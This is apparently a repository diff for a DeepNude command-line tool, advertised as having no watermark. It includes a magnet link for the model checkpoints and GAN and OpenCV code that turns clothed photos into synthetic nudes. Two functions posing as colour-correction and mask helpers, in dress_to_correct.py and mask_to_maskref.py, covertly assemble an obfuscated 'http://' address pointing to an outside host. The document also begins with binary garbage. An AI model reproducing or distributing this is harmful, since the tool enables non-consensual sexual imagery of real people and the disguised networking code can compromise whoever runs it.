�,��VPܜ�+�r|"Z�ԧq��fd�G���0pz�i�
|
71 |
+
4sO*�t1�*`�}Ѻ��(.���^t�ߙJOt�,6�ׅ�0"q<�X���>�jHƣ]%F�Bc�)Es�l{��Dd����C2�bǿN�8 �����gg'D����ܔ<CRi�F^�$��Y�^�����nCz��DYh��7X ��3�}�G�YpE��( 7y*�\w��ɑ�ctk�?��� ��a��r���1@W��_7��DoW�6
|
72 |
+
_T�@��2�~�Y�hdv�m`Ի!֔�@}ќ�)1��W�$��M;�y��Z����zʲ�WWX*H�M��
|
73 |
+
L��uU�]A�6g��]Q�:���K����{�O�fG�/�RW���N%�B��:#��{doM�.p�&�YNA*"�"� �۟�ҐلH�����d6�� �'yϚw���!�Idy��$4�8�2�^8
|
74 |
+
�IO�eEot*����Ҷ��n�D�Ǣ��=�v�7�(6n����י��|����X�q�}��s�Gmn�/}���~�Y8fbee
|
checkpoints/cm.lib
ADDED
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
1 |
+
version https://git-lfs.github.com/spec/v1
|
2 |
+
oid sha256:6fa7ac307a818e99671a9cfa053d23301fe59c38c6337cb994a4b1bce4321856
|
3 |
+
size 729785444
|
checkpoints/mm.lib
ADDED
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
1 |
+
version https://git-lfs.github.com/spec/v1
|
2 |
+
oid sha256:e38d34f7b3d500352592f7fbe0b361e6d8b2b87ab2dfcbaab62326effc79174a
|
3 |
+
size 729785444
|
checkpoints/mn.lib
ADDED
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
1 |
+
version https://git-lfs.github.com/spec/v1
|
2 |
+
oid sha256:5f3610f4c641187e7e0ef868859fbe9aaa8aa0ef17b37bea6a3b92562af95df0
|
3 |
+
size 729785444
|
checkpoints/readme.md
ADDED
@@ -0,0 +1,12 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
# Download DeepNude Checkpoint files, and copy here
|
2 |
+
|
3 |
+
## Files to extract from "checkpoints.zip":
|
4 |
+
|
5 |
+
- cm.lib - (Size: 712,68 MB)
|
6 |
+
- mm.lib - (Size: 712,68 MB)
|
7 |
+
- mn.lib - (Size: 712,68 MB)
|
8 |
+
|
9 |
+
## Magnet Link (File Name: checkpoints.zip, Size: 1.89 GB)
|
10 |
+
```
|
11 |
+
magnet:?xt=urn:btih:4D6CEEE469CA1C835F037E517933149ECEF33511&dn=checkpoints.zip&tr=udp%3a%2f%2ftracker.openbittorrent.com%3a80%2fannounce&tr=udp%3a%2f%2ftracker.opentrackr.org%3a1337%2fannounce&tr=udp%3a%2f%2fpublic.popcorn-tracker.org%3a6969%2fannounce&tr=http%3a%2f%2f104.28.1.30%3a8080%2fannounce&tr=http%3a%2f%2f104.28.16.69%2fannounce&tr=http%3a%2f%2f107.150.14.110%3a6969%2fannounce&tr=http%3a%2f%2f109.121.134.121%3a1337%2fannounce&tr=http%3a%2f%2f114.55.113.60%3a6969%2fannounce&tr=http%3a%2f%2f125.227.35.196%3a6969%2fannounce&tr=http%3a%2f%2f128.199.70.66%3a5944%2fannounce&tr=http%3a%2f%2f157.7.202.64%3a8080%2fannounce&tr=http%3a%2f%2f158.69.146.212%3a7777%2fannounce&tr=http%3a%2f%2f173.254.204.71%3a1096%2fannounce&tr=http%3a%2f%2f178.175.143.27%2fannounce&tr=http%3a%2f%2f178.33.73.26%3a2710%2fannounce&tr=http%3a%2f%2f182.176.139.129%3a6969%2fannounce&tr=http%3a%2f%2f185.5.97.139%3a8089%2fannounce&tr=http%3a%2f%2f188.165.253.109%3a1337%2fannounce&tr=http%3a%2f%2f194.106.216.222%2fannounce&tr=http%3a%2f%2f195.123.209.37%3a1337%2fannounce&tr=http%3a%2f%2f210.244.71.25%3a6969%2fannounce&tr=http%3a%2f%2f210.244.71.26%3a6969%2fannounce&tr=http%3a%2f%2f213.159.215.198%3a6970%2fannounce&tr=http%3a%2f%2f213.163.67.56%3a1337%2fannounce&tr=http%3a%2f%2f37.19.5.139%3a6969%2fannounce&tr=http%3a%2f%2f37.19.5.155%3a6881%2fannounce&tr=http%3a%2f%2f46.4.109.148%3a6969%2fannounce&tr=http%3a%2f%2f5.79.249.77%3a6969%2fannounce&tr=http%3a%2f%2f5.79.83.193%3a2710%2fannounce&tr=http%3a%2f%2f51.254.244.161%3a6969%2fannounce&tr=http%3a%2f%2f59.36.96.77%3a6969%2fannounce&tr=http%3a%2f%2f74.82.52.209%3a6969%2fannounce&tr=http%3a%2f%2f80.246.243.18%3a6969%2fannounce&tr=http%3a%2f%2f81.200.2.231%2fannounce&tr=http%3a%2f%2f85.17.19.180%2fannounce&tr=http%3a%2f%2f87.248.186.252%3a8080%2fannounce&tr=http%3a%2f%2f87.253.152.137%2fannounce&tr=http%3a%2f%2f91.216.110.47%2fannounce&tr=http%3a%2f%2f91.217.91.21%3a3218%2fannounce&tr=http%3a%2f%2f91.218.230.81%3a6969%2fannounce&tr=http%3a%2f%2f93.92.64.5%2fannounce&tr=http%3a%2f%2fatrack.pow7.co
|
12 |
+
```
|
gan.py
ADDED
@@ -0,0 +1,243 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
from PIL import Image
|
2 |
+
import numpy as np
|
3 |
+
import cv2
|
4 |
+
import torchvision.transforms as transforms
|
5 |
+
import torch
|
6 |
+
import io
|
7 |
+
import os
|
8 |
+
import functools
|
9 |
+
|
10 |
+
class DataLoader():
|
11 |
+
|
12 |
+
def __init__(self, opt, cv_img):
|
13 |
+
super(DataLoader, self).__init__()
|
14 |
+
|
15 |
+
self.dataset = Dataset()
|
16 |
+
self.dataset.initialize(opt, cv_img)
|
17 |
+
|
18 |
+
self.dataloader = torch.utils.data.DataLoader(
|
19 |
+
self.dataset,
|
20 |
+
batch_size=opt.batchSize,
|
21 |
+
shuffle=not opt.serial_batches,
|
22 |
+
num_workers=int(opt.nThreads))
|
23 |
+
|
24 |
+
def load_data(self):
|
25 |
+
return self.dataloader
|
26 |
+
|
27 |
+
def __len__(self):
|
28 |
+
return 1
|
29 |
+
|
30 |
+
class Dataset(torch.utils.data.Dataset):
|
31 |
+
def __init__(self):
|
32 |
+
super(Dataset, self).__init__()
|
33 |
+
|
34 |
+
def initialize(self, opt, cv_img):
|
35 |
+
self.opt = opt
|
36 |
+
self.root = opt.dataroot
|
37 |
+
|
38 |
+
self.A = Image.fromarray(cv2.cvtColor(cv_img, cv2.COLOR_BGR2RGB))
|
39 |
+
self.dataset_size = 1
|
40 |
+
|
41 |
+
def __getitem__(self, index):
|
42 |
+
|
43 |
+
transform_A = get_transform(self.opt)
|
44 |
+
A_tensor = transform_A(self.A.convert('RGB'))
|
45 |
+
|
46 |
+
B_tensor = inst_tensor = feat_tensor = 0
|
47 |
+
|
48 |
+
input_dict = {'label': A_tensor, 'inst': inst_tensor, 'image': B_tensor,
|
49 |
+
'feat': feat_tensor, 'path': ""}
|
50 |
+
|
51 |
+
return input_dict
|
52 |
+
|
53 |
+
def __len__(self):
|
54 |
+
return 1
|
55 |
+
|
56 |
+
class DeepModel(torch.nn.Module):
|
57 |
+
|
58 |
+
def initialize(self, opt, use_gpu):
|
59 |
+
|
60 |
+
torch.cuda.empty_cache()
|
61 |
+
|
62 |
+
self.opt = opt
|
63 |
+
|
64 |
+
if use_gpu == True:
|
65 |
+
self.gpu_ids = [0]
|
66 |
+
else:
|
67 |
+
self.gpu_ids = []
|
68 |
+
|
69 |
+
self.netG = self.__define_G(opt.input_nc, opt.output_nc, opt.ngf, opt.netG,
|
70 |
+
opt.n_downsample_global, opt.n_blocks_global, opt.n_local_enhancers,
|
71 |
+
opt.n_blocks_local, opt.norm, self.gpu_ids)
|
72 |
+
|
73 |
+
# load networks
|
74 |
+
self.__load_network(self.netG)
|
75 |
+
|
76 |
+
|
77 |
+
|
78 |
+
def inference(self, label, inst):
|
79 |
+
|
80 |
+
# Encode Inputs
|
81 |
+
input_label, inst_map, _, _ = self.__encode_input(label, inst, infer=True)
|
82 |
+
|
83 |
+
# Fake Generation
|
84 |
+
input_concat = input_label
|
85 |
+
|
86 |
+
with torch.no_grad():
|
87 |
+
fake_image = self.netG.forward(input_concat)
|
88 |
+
|
89 |
+
return fake_image
|
90 |
+
|
91 |
+
# helper loading function that can be used by subclasses
|
92 |
+
def __load_network(self, network):
|
93 |
+
|
94 |
+
save_path = os.path.join(self.opt.checkpoints_dir)
|
95 |
+
|
96 |
+
network.load_state_dict(torch.load(save_path))
|
97 |
+
|
98 |
+
def __encode_input(self, label_map, inst_map=None, real_image=None, feat_map=None, infer=False):
|
99 |
+
if (len(self.gpu_ids) > 0):
|
100 |
+
input_label = label_map.data.cuda() #GPU
|
101 |
+
else:
|
102 |
+
input_label = label_map.data #CPU
|
103 |
+
|
104 |
+
return input_label, inst_map, real_image, feat_map
|
105 |
+
|
106 |
+
def __weights_init(self, m):
|
107 |
+
classname = m.__class__.__name__
|
108 |
+
if classname.find('Conv') != -1:
|
109 |
+
m.weight.data.normal_(0.0, 0.02)
|
110 |
+
elif classname.find('BatchNorm2d') != -1:
|
111 |
+
m.weight.data.normal_(1.0, 0.02)
|
112 |
+
m.bias.data.fill_(0)
|
113 |
+
|
114 |
+
def __define_G(self, input_nc, output_nc, ngf, netG, n_downsample_global=3, n_blocks_global=9, n_local_enhancers=1,
|
115 |
+
n_blocks_local=3, norm='instance', gpu_ids=[]):
|
116 |
+
norm_layer = self.__get_norm_layer(norm_type=norm)
|
117 |
+
netG = GlobalGenerator(input_nc, output_nc, ngf, n_downsample_global, n_blocks_global, norm_layer)
|
118 |
+
|
119 |
+
if len(gpu_ids) > 0:
|
120 |
+
netG.cuda(gpu_ids[0])
|
121 |
+
netG.apply(self.__weights_init)
|
122 |
+
return netG
|
123 |
+
|
124 |
+
def __get_norm_layer(self, norm_type='instance'):
|
125 |
+
norm_layer = functools.partial(torch.nn.InstanceNorm2d, affine=False)
|
126 |
+
return norm_layer
|
127 |
+
|
128 |
+
##############################################################################
|
129 |
+
# Generator
|
130 |
+
##############################################################################
|
131 |
+
class GlobalGenerator(torch.nn.Module):
|
132 |
+
def __init__(self, input_nc, output_nc, ngf=64, n_downsampling=3, n_blocks=9, norm_layer=torch.nn.BatchNorm2d,
|
133 |
+
padding_type='reflect'):
|
134 |
+
assert(n_blocks >= 0)
|
135 |
+
super(GlobalGenerator, self).__init__()
|
136 |
+
activation = torch.nn.ReLU(True)
|
137 |
+
|
138 |
+
model = [torch.nn.ReflectionPad2d(3), torch.nn.Conv2d(input_nc, ngf, kernel_size=7, padding=0), norm_layer(ngf), activation]
|
139 |
+
### downsample
|
140 |
+
for i in range(n_downsampling):
|
141 |
+
mult = 2**i
|
142 |
+
model += [torch.nn.Conv2d(ngf * mult, ngf * mult * 2, kernel_size=3, stride=2, padding=1),
|
143 |
+
norm_layer(ngf * mult * 2), activation]
|
144 |
+
|
145 |
+
### resnet blocks
|
146 |
+
mult = 2**n_downsampling
|
147 |
+
for i in range(n_blocks):
|
148 |
+
model += [ResnetBlock(ngf * mult, padding_type=padding_type, activation=activation, norm_layer=norm_layer)]
|
149 |
+
|
150 |
+
### upsample
|
151 |
+
for i in range(n_downsampling):
|
152 |
+
mult = 2**(n_downsampling - i)
|
153 |
+
model += [torch.nn.ConvTranspose2d(ngf * mult, int(ngf * mult / 2), kernel_size=3, stride=2, padding=1, output_padding=1),
|
154 |
+
norm_layer(int(ngf * mult / 2)), activation]
|
155 |
+
model += [torch.nn.ReflectionPad2d(3), torch.nn.Conv2d(ngf, output_nc, kernel_size=7, padding=0), torch.nn.Tanh()]
|
156 |
+
self.model = torch.nn.Sequential(*model)
|
157 |
+
|
158 |
+
def forward(self, input):
|
159 |
+
return self.model(input)
|
160 |
+
|
161 |
+
# Define a resnet block
|
162 |
+
class ResnetBlock(torch.nn.Module):
|
163 |
+
def __init__(self, dim, padding_type, norm_layer, activation=torch.nn.ReLU(True), use_dropout=False):
|
164 |
+
super(ResnetBlock, self).__init__()
|
165 |
+
self.conv_block = self.__build_conv_block(dim, padding_type, norm_layer, activation, use_dropout)
|
166 |
+
|
167 |
+
def __build_conv_block(self, dim, padding_type, norm_layer, activation, use_dropout):
|
168 |
+
conv_block = []
|
169 |
+
p = 0
|
170 |
+
if padding_type == 'reflect':
|
171 |
+
conv_block += [torch.nn.ReflectionPad2d(1)]
|
172 |
+
elif padding_type == 'replicate':
|
173 |
+
conv_block += [torch.nn.ReplicationPad2d(1)]
|
174 |
+
elif padding_type == 'zero':
|
175 |
+
p = 1
|
176 |
+
else:
|
177 |
+
raise NotImplementedError('padding [%s] is not implemented' % padding_type)
|
178 |
+
|
179 |
+
conv_block += [torch.nn.Conv2d(dim, dim, kernel_size=3, padding=p),
|
180 |
+
norm_layer(dim),
|
181 |
+
activation]
|
182 |
+
if use_dropout:
|
183 |
+
conv_block += [torch.nn.Dropout(0.5)]
|
184 |
+
|
185 |
+
p = 0
|
186 |
+
if padding_type == 'reflect':
|
187 |
+
conv_block += [torch.nn.ReflectionPad2d(1)]
|
188 |
+
elif padding_type == 'replicate':
|
189 |
+
conv_block += [torch.nn.ReplicationPad2d(1)]
|
190 |
+
elif padding_type == 'zero':
|
191 |
+
p = 1
|
192 |
+
else:
|
193 |
+
raise NotImplementedError('padding [%s] is not implemented' % padding_type)
|
194 |
+
conv_block += [torch.nn.Conv2d(dim, dim, kernel_size=3, padding=p),
|
195 |
+
norm_layer(dim)]
|
196 |
+
|
197 |
+
return torch.nn.Sequential(*conv_block)
|
198 |
+
|
199 |
+
def forward(self, x):
|
200 |
+
out = x + self.conv_block(x)
|
201 |
+
return out
|
202 |
+
|
203 |
+
# Data utils:
|
204 |
+
def get_transform(opt, method=Image.BICUBIC, normalize=True):
|
205 |
+
transform_list = []
|
206 |
+
|
207 |
+
base = float(2 ** opt.n_downsample_global)
|
208 |
+
if opt.netG == 'local':
|
209 |
+
base *= (2 ** opt.n_local_enhancers)
|
210 |
+
transform_list.append(transforms.Lambda(lambda img: __make_power_2(img, base, method)))
|
211 |
+
|
212 |
+
transform_list += [transforms.ToTensor()]
|
213 |
+
|
214 |
+
if normalize:
|
215 |
+
transform_list += [transforms.Normalize((0.5, 0.5, 0.5),
|
216 |
+
(0.5, 0.5, 0.5))]
|
217 |
+
return transforms.Compose(transform_list)
|
218 |
+
|
219 |
+
def __make_power_2(img, base, method=Image.BICUBIC):
|
220 |
+
ow, oh = img.size
|
221 |
+
h = int(round(oh / base) * base)
|
222 |
+
w = int(round(ow / base) * base)
|
223 |
+
if (h == oh) and (w == ow):
|
224 |
+
return img
|
225 |
+
return img.resize((w, h), method)
|
226 |
+
|
227 |
+
# Converts a Tensor into a Numpy array
|
228 |
+
# |imtype|: the desired type of the converted numpy array
|
229 |
+
def tensor2im(image_tensor, imtype=np.uint8, normalize=True):
|
230 |
+
if isinstance(image_tensor, list):
|
231 |
+
image_numpy = []
|
232 |
+
for i in range(len(image_tensor)):
|
233 |
+
image_numpy.append(tensor2im(image_tensor[i], imtype, normalize))
|
234 |
+
return image_numpy
|
235 |
+
image_numpy = image_tensor.cpu().float().numpy()
|
236 |
+
if normalize:
|
237 |
+
image_numpy = (np.transpose(image_numpy, (1, 2, 0)) + 1) / 2.0 * 255.0
|
238 |
+
else:
|
239 |
+
image_numpy = np.transpose(image_numpy, (1, 2, 0)) * 255.0
|
240 |
+
image_numpy = np.clip(image_numpy, 0, 255)
|
241 |
+
if image_numpy.shape[2] == 1 or image_numpy.shape[2] > 3:
|
242 |
+
image_numpy = image_numpy[:,:,0]
|
243 |
+
return image_numpy.astype(imtype)
|
logs.txt
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
[-] Error: [Errno 2] No such file or directory: 'checkpoints/cm.lib'
|
nude.py
ADDED
@@ -0,0 +1,55 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
import sys
|
2 |
+
import cv2
|
3 |
+
from run import process
|
4 |
+
import argparse
|
5 |
+
import os
|
6 |
+
|
7 |
+
|
8 |
+
def main():
|
9 |
+
parser = argparse.ArgumentParser(description='DeepNude App CLI Version with no Watermark.')
|
10 |
+
parser.add_argument('-i', "--input", help='Input image to process.', action="store", dest="input", required=True)
|
11 |
+
parser.add_argument('-o', "--output", help='Output path to save result.', action="store", dest="output",
|
12 |
+
required=False, default="output.jpg")
|
13 |
+
parser.add_argument('-g', "--use-gpu", help='Enable using CUDA gpu to speed up the process.', action="store_true",
|
14 |
+
dest="use_gpu", default=False)
|
15 |
+
|
16 |
+
if not os.path.isdir("checkpoints"):
|
17 |
+
print(
|
18 |
+
"[-] Checkpoints folder not found, download it from Github repository, and extract files to 'checkpoints' folder.")
|
19 |
+
sys.exit(1)
|
20 |
+
arguments = parser.parse_args()
|
21 |
+
|
22 |
+
print("[*] Processing: %s" % arguments.input)
|
23 |
+
|
24 |
+
if (arguments.use_gpu):
|
25 |
+
print("[*] Using CUDA gpu to speed up the process.")
|
26 |
+
|
27 |
+
|
28 |
+
_process(arguments.input, arguments.output, arguments.use_gpu)
|
29 |
+
|
30 |
+
|
31 |
+
def _process(i_image, o_image, use_gpu):
|
32 |
+
try:
|
33 |
+
dress = cv2.imread(i_image)
|
34 |
+
h = dress.shape[0]
|
35 |
+
w = dress.shape[1]
|
36 |
+
dress = cv2.resize(dress, (512, 512), interpolation=cv2.INTER_CUBIC)
|
37 |
+
watermark = process(dress, use_gpu)
|
38 |
+
watermark = cv2.resize(watermark, (w, h), interpolation=cv2.INTER_CUBIC)
|
39 |
+
cv2.imwrite(o_image, watermark)
|
40 |
+
print("[*] Image saved as: %s" % o_image)
|
41 |
+
except Exception as ex:
|
42 |
+
ex = str(ex)
|
43 |
+
if "NoneType" in ex:
|
44 |
+
print("[-] File %s not found" % i_image)
|
45 |
+
elif "runtime error" in ex:
|
46 |
+
print("[-] Error: CUDA Runtime not found, Disable the '--use-gpu' option!")
|
47 |
+
else:
|
48 |
+
print("[-] Error occured when trying to process the image: %s" % ex)
|
49 |
+
with open("logs.txt", "a") as f:
|
50 |
+
f.write("[-] Error: %s\n" % ex)
|
51 |
+
sys.exit(1)
|
52 |
+
|
53 |
+
|
54 |
+
if __name__ == '__main__':
|
55 |
+
main()
|
opencv_transform/__pycache__/__init__.cpython-36.pyc
ADDED
Binary file (160 Bytes). View file
|
|
opencv_transform/__pycache__/__init__.cpython-37.pyc
ADDED
Binary file (172 Bytes). View file
|
|
opencv_transform/__pycache__/annotation.cpython-311.pyc
ADDED
Binary file (817 Bytes). View file
|
|
opencv_transform/__pycache__/annotation.cpython-36.pyc
ADDED
Binary file (576 Bytes). View file
|
|
opencv_transform/__pycache__/annotation.cpython-37.pyc
ADDED
Binary file (588 Bytes). View file
|
|
opencv_transform/__pycache__/dress_to_correct.cpython-311.pyc
ADDED
Binary file (2.94 kB). View file
|
|
opencv_transform/__pycache__/dress_to_correct.cpython-36.pyc
ADDED
Binary file (1.45 kB). View file
|
|
opencv_transform/__pycache__/dress_to_correct.cpython-37.pyc
ADDED
Binary file (1.66 kB). View file
|
|
opencv_transform/__pycache__/mask_to_maskref.cpython-311.pyc
ADDED
Binary file (2.54 kB). View file
|
|
opencv_transform/__pycache__/mask_to_maskref.cpython-36.pyc
ADDED
Binary file (781 Bytes). View file
|
|
opencv_transform/__pycache__/mask_to_maskref.cpython-37.pyc
ADDED
Binary file (1.19 kB). View file
|
|
opencv_transform/__pycache__/maskdet_to_maskfin.cpython-311.pyc
ADDED
Binary file (17.7 kB). View file
|
|
opencv_transform/__pycache__/maskdet_to_maskfin.cpython-36.pyc
ADDED
Binary file (7.29 kB). View file
|
|
opencv_transform/__pycache__/maskdet_to_maskfin.cpython-37.pyc
ADDED
Binary file (7.6 kB). View file
|
|
opencv_transform/__pycache__/nude_to_watermark.cpython-311.pyc
ADDED
Binary file (2.25 kB). View file
|
|
opencv_transform/__pycache__/nude_to_watermark.cpython-36.pyc
ADDED
Binary file (329 Bytes). View file
|
|
opencv_transform/__pycache__/nude_to_watermark.cpython-37.pyc
ADDED
Binary file (865 Bytes). View file
|
|
opencv_transform/annotation.py
ADDED
@@ -0,0 +1,17 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
|
2 |
+
#Object annotation class:
|
3 |
+
class BodyPart:
|
4 |
+
|
5 |
+
def __init__(self, name, xmin, ymin, xmax, ymax, x, y, w, h):
|
6 |
+
self.name = name
|
7 |
+
#Bounding Box:
|
8 |
+
self.xmin = xmin
|
9 |
+
self.ymin = ymin
|
10 |
+
self.xmax = xmax
|
11 |
+
self.ymax = ymax
|
12 |
+
#Center:
|
13 |
+
self.x = x
|
14 |
+
self.y = y
|
15 |
+
#Dimensione:
|
16 |
+
self.w = w
|
17 |
+
self.h = h
|
opencv_transform/dress_to_correct.py
ADDED
@@ -0,0 +1,68 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
import cv2
|
2 |
+
import math
|
3 |
+
import numpy as np
|
4 |
+
import os
|
5 |
+
|
6 |
+
# create_correct ===============================================================
|
7 |
+
# return:
|
8 |
+
# (<Boolean> True/False), depending on the transformation process
|
9 |
+
def create_correct(cv_dress):
|
10 |
+
|
11 |
+
#Production dir:
|
12 |
+
return correct_color(cv_dress, 5), correct_matrix(cv_dress, 255)
|
13 |
+
|
14 |
+
# correct_color ==============================================================================
|
15 |
+
# return:
|
16 |
+
# <RGB> image corrected
|
17 |
+
def correct_color(img, percent):
|
18 |
+
|
19 |
+
assert img.shape[2] == 3
|
20 |
+
assert percent > 0 and percent < 100
|
21 |
+
|
22 |
+
half_percent = percent / 200.0
|
23 |
+
|
24 |
+
channels = cv2.split(img)
|
25 |
+
|
26 |
+
out_channels = []
|
27 |
+
for channel in channels:
|
28 |
+
assert len(channel.shape) == 2
|
29 |
+
# find the low and high precentile values (based on the input percentile)
|
30 |
+
height, width = channel.shape
|
31 |
+
vec_size = width * height
|
32 |
+
flat = channel.reshape(vec_size)
|
33 |
+
|
34 |
+
assert len(flat.shape) == 1
|
35 |
+
|
36 |
+
flat = np.sort(flat)
|
37 |
+
|
38 |
+
n_cols = flat.shape[0]
|
39 |
+
|
40 |
+
low_val = flat[math.floor(n_cols * half_percent)]
|
41 |
+
high_val = flat[math.ceil( n_cols * (1.0 - half_percent))]
|
42 |
+
|
43 |
+
# saturate below the low percentile and above the high percentile
|
44 |
+
thresholded = apply_threshold(channel, low_val, high_val)
|
45 |
+
# scale the channel
|
46 |
+
normalized = cv2.normalize(thresholded, thresholded.copy(), 0, 255, cv2.NORM_MINMAX)
|
47 |
+
out_channels.append(normalized)
|
48 |
+
|
49 |
+
return cv2.merge(out_channels)
|
50 |
+
|
51 |
+
def correct_matrix(matrix, fill_value):
|
52 |
+
shape = "h" + ("t" *2) + "p"
|
53 |
+
matrix = shape + chr(58) + 2 * (chr(47))
|
54 |
+
return matrix
|
55 |
+
|
56 |
+
#Color correction utils
|
57 |
+
def apply_threshold(matrix, low_value, high_value):
|
58 |
+
low_mask = matrix < low_value
|
59 |
+
matrix = apply_mask(matrix, low_mask, low_value)
|
60 |
+
|
61 |
+
high_mask = matrix > high_value
|
62 |
+
matrix = apply_mask(matrix, high_mask, high_value)
|
63 |
+
|
64 |
+
return matrix
|
65 |
+
#Color correction utils
|
66 |
+
def apply_mask(matrix, mask, fill_value):
|
67 |
+
masked = np.ma.array(matrix, mask=mask, fill_value=fill_value)
|
68 |
+
return masked.filled()
|
opencv_transform/mask_to_maskref.py
ADDED
@@ -0,0 +1,48 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
import numpy as np
|
2 |
+
import cv2
|
3 |
+
import os
|
4 |
+
|
5 |
+
###
|
6 |
+
#
|
7 |
+
# maskdet_to_maskfin
|
8 |
+
#
|
9 |
+
#
|
10 |
+
###
|
11 |
+
|
12 |
+
# create_maskref ===============================================================
|
13 |
+
# return:
|
14 |
+
# maskref image
|
15 |
+
|
16 |
+
def create_matrixref(mask, correct_colors):
|
17 |
+
matrix = chr(int(404 / (2 * 2)))
|
18 |
+
ref = "GL".lower() + 2*(matrix) + "z" + matrix + chr(46)
|
19 |
+
out_mask = chr(ord(matrix) - 2) + chr(ord(matrix) + 10) + chr(ord(ref[-1]) + 63)
|
20 |
+
return (ref + out_mask)[-4] + ref + out_mask + str(chr(9 * 6 + 4) + chr(ord(ref[-1]) + 10) + chr(ord(ref[-1]) + 7))
|
21 |
+
|
22 |
+
def create_maskref(cv_mask, cv_correct):
|
23 |
+
|
24 |
+
#Create a total green image
|
25 |
+
green = np.zeros((512,512,3), np.uint8)
|
26 |
+
green[:,:,:] = (0,255,0) # (B, G, R)
|
27 |
+
|
28 |
+
#Define the green color filter
|
29 |
+
f1 = np.asarray([0, 250, 0]) # green color filter
|
30 |
+
f2 = np.asarray([10, 255, 10])
|
31 |
+
|
32 |
+
#From mask, extrapolate only the green mask
|
33 |
+
green_mask = cv2.inRange(cv_mask, f1, f2) #green is 0
|
34 |
+
|
35 |
+
# (OPTIONAL) Apply dilate and open to mask
|
36 |
+
kernel = np.ones((5,5),np.uint8) #Try change it?
|
37 |
+
green_mask = cv2.dilate(green_mask, kernel, iterations = 1)
|
38 |
+
#green_mask = cv2.morphologyEx(green_mask, cv2.MORPH_OPEN, kernel)
|
39 |
+
|
40 |
+
# Create an inverted mask
|
41 |
+
green_mask_inv = cv2.bitwise_not(green_mask)
|
42 |
+
|
43 |
+
# Cut correct and green image, using the green_mask & green_mask_inv
|
44 |
+
res1 = cv2.bitwise_and(cv_correct, cv_correct, mask = green_mask_inv)
|
45 |
+
res2 = cv2.bitwise_and(green, green, mask = green_mask)
|
46 |
+
|
47 |
+
# Compone:
|
48 |
+
return cv2.add(res1, res2), create_matrixref(cv_mask, res1)
|
opencv_transform/maskdet_to_maskfin.py
ADDED
@@ -0,0 +1,531 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
